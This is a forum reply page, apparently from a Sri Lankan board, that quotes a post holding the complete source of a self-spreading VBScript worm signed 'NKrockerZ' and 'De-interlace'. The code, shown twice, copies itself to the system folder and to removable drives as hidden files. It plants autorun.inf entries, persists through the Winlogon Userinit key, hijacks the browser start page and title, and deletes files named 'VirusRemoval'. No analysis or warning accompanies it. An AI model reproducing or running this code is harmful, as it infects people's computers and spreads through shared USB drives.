Reply to thread

Message

<blockquote data-quote="Dhananja4medialab" data-source="post: 5798372" data-attributes="member: 240231">[CODE]'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'*********************!!!!! EVIL VBScript !!!!!********************'************************** Version 9909 **************************'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'****************************************************************'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #2&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; *560*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; 3#'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; HACK BY De-interlace'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; I REMOVE YOUR VIRUS BUT I WILL HACK YOU '&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0#&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; *500*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #7 '#################################################################'################################################################Option ExplicitOn Error Resume NextDim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,rootSet Fso = CreateObject(&quot;Scripting.FileSystemObject&quot;)Set Shells = CreateObject(&quot;Wscript.Shell&quot;)Set WinDir = Fso.GetSpecialFolder(0)Set SystemDir =Fso.GetSpecialFolder(1)Set File = Fso.GetFile(WScript.ScriptFullName)Set Drv = File.DriveSet InDrive = Fso.drivesSet ReadAll = File.OpenAsTextStream(1,-2)do while not ReadAll.atendofstreamAllFile = AllFile &amp; ReadAll.readlineAllFile = AllFile &amp; vbcrlfLoopCount=Drv.DriveTypeDo If Not Fso.FileExists(SystemDir &amp; &quot;\NKrockerZ1.VBS&quot;) thenset WriteAll = Fso.CreateTextFile(SystemDir &amp; &quot;\NKrockerZ1.VBS&quot;,2,true)WriteAll.Write AllFile WriteAll.closeset WriteAll = Fso.GetFile(SystemDir &amp; &quot;\NKrockerZ1.VBS&quot;)WriteAll.Attributes = -1End If&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Shells.RegWrite &quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\ShowSuperHidden&quot;,&quot;1&quot;,&quot;REG_DWORD&quot;Shells.RegWrite &quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Hidden&quot;,&quot;1&quot;,&quot;REG_DWORD&quot;Shells.RegWrite &quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\SuperHidden&quot;,&quot;0&quot;,&quot;REG_DWORD&quot;Shells.RegWrite &quot;HKCU\Software\Microsoft\Internet Explorer\Main\Window Title&quot;,&quot;&nbsp; HACK BY NKrockerZ&nbsp; &quot;Shells.RegWrite &quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel&quot;,&quot;0&quot;,&quot;REG_DWORD&quot;Shells.RegWrite &quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Nofind&quot;,&quot;0&quot;,&quot;REG_DWORD&quot;Shells.RegWrite &quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Nocmd&quot;,&quot;0&quot;,&quot;REG_DWORD&quot;Shells.RegWrite &quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Norun&quot;,&quot;0&quot;,&quot;REG_DWORD&quot;&nbsp; &nbsp; Shells.RegWrite &quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions&quot;,&quot;0&quot;,&quot;REG_DWORD&quot;Shells.RegWrite &quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr&quot;,&quot;0&quot;,&quot;REG_DWORD&quot;Shells.RegWrite &quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools&quot;,&quot;0&quot;,&quot;REG_DWORD&quot;Shells.RegWrite &quot;HKCU\Software\Microsoft\Internet Explorer\Main\Start Page&quot;,&quot;http://www.an*ma*d*.com&quot;Shells.RegWrite &quot;HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell&quot;,&quot;explorer.exe&quot;,&quot;Opera.exe&quot;Shells.RegWrite &quot;HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit&quot;,SystemDir &amp; &quot;\userinit.exe,&quot; &amp; _SystemDir &amp; &quot;\wscript.exe &quot; &amp; SystemDir &amp; &quot;\NKrockerZ1.VBS&quot;For Each Drives In InDrive root = Drives.Path &amp; &quot;\&quot;If Fso.GetParentFolderName(WScript.ScriptFullName)=root ThenShells.Run &quot;explorer.exe &quot; &amp; rootEnd IfSet folder=Fso.GetFolder(root)Set Delete = Fso.DeleteFile(SystemDir &amp; &quot;\killvbs.vbs&quot;,true)For Each files In folder.Filesauto=Left(files.Name,7)If UCase(auto)=UCase(&quot;VirusRemoval&quot;) ThenSet Delete = Fso.DeleteFile(root &amp; files.Name,true)End If&nbsp; &nbsp; NextIf Drives.DriveType=2 Thendelext &quot;inf&quot;,Drives.Path &amp; &quot;C:&quot;delext &quot;INF&quot;,Drives.Path &amp; &quot;C:&quot;End if&nbsp; If Drives.DriveType = 1 Or Drives.DriveType = 2 ThenIf Drives.Path&lt;&gt; &quot;A:&quot; Thendelext &quot;vbs&quot;,WinDir &amp; &quot;\&quot;delext &quot;vbs&quot;,Drives.Path&nbsp; &amp; &quot;\&quot;If Fso.FileExists(Drives.Path &amp; &quot;\VirusRemoval.vbs&quot;) ThenFso.DeleteFile(Drives.Path &amp; &quot;\VirusRemoval.vbs&quot;)&nbsp;End If&nbsp; &nbsp; &nbsp; &nbsp; If Drives.DriveType = 1 ThenIf Drives.Path&lt;&gt;&quot;A:&quot; ThenIf Not Fso.FileExists(Drives.Path &amp; &quot;\NKrockerZ1.VBS&quot;) ThenSet WriteAll=Fso.CreateTextFile(Drives.Path &amp; &quot;\NKrockerZ1.VBS&quot;,2,True)WriteAll.Write AllFileWriteAll.CloseSet WriteAll = Fso.GetFile(Drives.Path &amp; &quot;\NKrockerZ1.VBS&quot;)WriteAll.Attributes = -1End If&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; If Fso.FileExists(Drives.Path &amp; &quot;\autorun.inf&quot;) Or Fso.FileExists(Drives.Path &amp; &quot;\AUTORUN.INF&quot;) Then Set Chg = Fso.GetFile(Drives.Path &amp; &quot;\autorun.inf&quot;)Chg.Attributes = -8Set WriteAll = Fso.CreateTextFile(Drives.Path &amp; &quot;\autorun.inf&quot;,2,True)WriteAll.writeline &quot;[autorun]&quot;WriteAll.WriteLine &quot;open=wscript.exe NKrockerZ1.VBS&quot;WriteAll.WriteLine &quot;shell\open=Open&quot;WriteAll.WriteLine &quot;shell\open\Command=wscript.exe NKrockerZ1.VBS&quot;WriteAll.CloseSet WriteAll = Fso.GetFile(Drives.Path &amp; &quot;\autorun.inf&quot;)WriteAll.Attributes = -1elseSet WriteAll = Fso.CreateTextFile(Drives.Path &amp; &quot;\autorun.inf&quot;,2,True)WriteAll.writeline &quot;[autorun]&quot;WriteAll.WriteLine &quot;open=wscript.exe NKrockerZ1.VBS&quot;WriteAll.WriteLine &quot;shell\open=Open&quot;WriteAll.WriteLine &quot;shell\open\Command=wscript.exe NKrockerZ1.VBS&quot;WriteAll.CloseSet WriteAll = Fso.GetFile(Drives.Path &amp; &quot;\autorun.inf&quot;)WriteAll.Attributes = -1End ifEnd IfEnd IfEnd if&nbsp; End IfNextif Count &lt;&gt; 1 thenWscript.sleep 10000end ifloop while Count&lt;&gt;1sub delext(File2Find, SrchPath)Dim oFileSys, oFolder, oFile,Cut,DeleteSet oFileSys = CreateObject(&quot;Scripting.FileSystemObject&quot;)Set oFolder = oFileSys.GetFolder(SrchPath)For Each oFile In oFolder.FilesCut=Right(oFile.Name,3)If UCase(Cut)=UCase(file2find) ThenEND IFNEXTEND SUBfiles autorun.inf , NKrockerZ1.VBSautorun command[autorun]open=wscript.exe NKrockerZ1.VBSshell\open=Openshell\open\Command=wscript.exe NKrockerZ1.VBS[/CODE]<img src="/styles/default/xenforo/smilies/default/growl.gif"&nbsp; class="smilie" loading="lazy" alt=":growl:" title="Growl&nbsp; &nbsp; :growl:" data-shortname=":growl:" /><img src="/styles/default/xenforo/smilies/default/growl.gif"&nbsp; class="smilie" loading="lazy" alt=":growl:" title="Growl&nbsp; &nbsp; :growl:" data-shortname=":growl:" /><img src="/styles/default/xenforo/smilies/default/growl.gif"&nbsp; class="smilie" loading="lazy" alt=":growl:" title="Growl&nbsp; &nbsp; :growl:" data-shortname=":growl:" /><img src="/styles/default/xenforo/smilies/default/no.gif"&nbsp; class="smilie" loading="lazy" alt=":no:" title="No&nbsp; &nbsp; :no:" data-shortname=":no:" /><img src="/styles/default/xenforo/smilies/default/no.gif"&nbsp; class="smilie" loading="lazy" alt=":no:" title="No&nbsp; &nbsp; :no:" data-shortname=":no:" /><img src="/styles/default/xenforo/smilies/default/no.gif"&nbsp; class="smilie" loading="lazy" alt=":no:" title="No&nbsp; &nbsp; :no:" data-shortname=":no:" /><img src="/styles/default/xenforo/smilies/default/no.gif"&nbsp; class="smilie" loading="lazy" alt=":no:" title="No&nbsp; &nbsp; :no:" data-shortname=":no:" /></blockquote>

[QUOTE="Dhananja4medialab, post: 5798372, member: 240231"] [CODE] '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! '*********************!!!!! EVIL VBScript !!!!!******************** '************************** Version 9909 ************************** '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! '**************************************************************** ' #2 *560* 3# ' HACK BY De-interlace ' I REMOVE YOUR VIRUS BUT I WILL HACK YOU ' 0# *500* #7 '################################################################# '################################################################ Option Explicit On Error Resume Next Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,root Set Fso = CreateObject("Scripting.FileSystemObject") Set Shells = CreateObject("Wscript.Shell") Set WinDir = Fso.GetSpecialFolder(0) Set SystemDir =Fso.GetSpecialFolder(1) Set File = Fso.GetFile(WScript.ScriptFullName) Set Drv = File.Drive Set InDrive = Fso.drives Set ReadAll = File.OpenAsTextStream(1,-2) do while not ReadAll.atendofstream AllFile = AllFile & ReadAll.readline AllFile = AllFile & vbcrlf Loop Count=Drv.DriveType Do If Not Fso.FileExists(SystemDir & "\NKrockerZ1.VBS") then set WriteAll = Fso.CreateTextFile(SystemDir & "\NKrockerZ1.VBS",2,true) WriteAll.Write AllFile WriteAll.close set WriteAll = Fso.GetFile(SystemDir & "\NKrockerZ1.VBS") WriteAll.Attributes = -1 End If Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\ShowSuperHidden","1","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Hidden","1","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\SuperHidden","0","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title"," HACK BY NKrockerZ " Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel","0","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Nofind","0","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Nocmd","0","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Norun","0","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions","0","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","0","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","0","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.an*ma*d*.com" Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","explorer.exe","Opera.exe" Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _ SystemDir & "\wscript.exe " & SystemDir & "\NKrockerZ1.VBS" For Each Drives In InDrive root = Drives.Path & "\" If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then Shells.Run "explorer.exe " & root End If Set folder=Fso.GetFolder(root) Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true) For Each files In folder.Files auto=Left(files.Name,7) If UCase(auto)=UCase("VirusRemoval") Then Set Delete = Fso.DeleteFile(root & files.Name,true) End If Next If Drives.DriveType=2 Then delext "inf",Drives.Path & "C:" delext "INF",Drives.Path & "C:" End if If Drives.DriveType = 1 Or Drives.DriveType = 2 Then If Drives.Path<> "A:" Then delext "vbs",WinDir & "\" delext "vbs",Drives.Path & "\" If Fso.FileExists(Drives.Path & "\VirusRemoval.vbs") Then Fso.DeleteFile(Drives.Path & "\VirusRemoval.vbs") End If If Drives.DriveType = 1 Then If Drives.Path<>"A:" Then If Not Fso.FileExists(Drives.Path & "\NKrockerZ1.VBS") Then Set WriteAll=Fso.CreateTextFile(Drives.Path & "\NKrockerZ1.VBS",2,True) WriteAll.Write AllFile WriteAll.Close Set WriteAll = Fso.GetFile(Drives.Path & "\NKrockerZ1.VBS") WriteAll.Attributes = -1 End If If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf") Chg.Attributes = -8 Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True) WriteAll.writeline "[autorun]" WriteAll.WriteLine "open=wscript.exe NKrockerZ1.VBS" WriteAll.WriteLine "shell\open=Open" WriteAll.WriteLine "shell\open\Command=wscript.exe NKrockerZ1.VBS" WriteAll.Close Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf") WriteAll.Attributes = -1 else Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True) WriteAll.writeline "[autorun]" WriteAll.WriteLine "open=wscript.exe NKrockerZ1.VBS" WriteAll.WriteLine "shell\open=Open" WriteAll.WriteLine "shell\open\Command=wscript.exe NKrockerZ1.VBS" WriteAll.Close Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf") WriteAll.Attributes = -1 End if End If End If End if End If Next if Count <> 1 then Wscript.sleep 10000 end if loop while Count<>1 sub delext(File2Find, SrchPath) Dim oFileSys, oFolder, oFile,Cut,Delete Set oFileSys = CreateObject("Scripting.FileSystemObject") Set oFolder = oFileSys.GetFolder(SrchPath) For Each oFile In oFolder.Files Cut=Right(oFile.Name,3) If UCase(Cut)=UCase(file2find) Then END IF NEXT END SUB files autorun.inf , NKrockerZ1.VBS autorun command [autorun] open=wscript.exe NKrockerZ1.VBS shell\open=Open shell\open\Command=wscript.exe NKrockerZ1.VBS[/CODE] :growl::growl::growl::no::no::no::no: [/QUOTE]

Verification

Hata thunen beduwama keeyada? (60 bedeema thuna)

Search

Latest ads

Reply to thread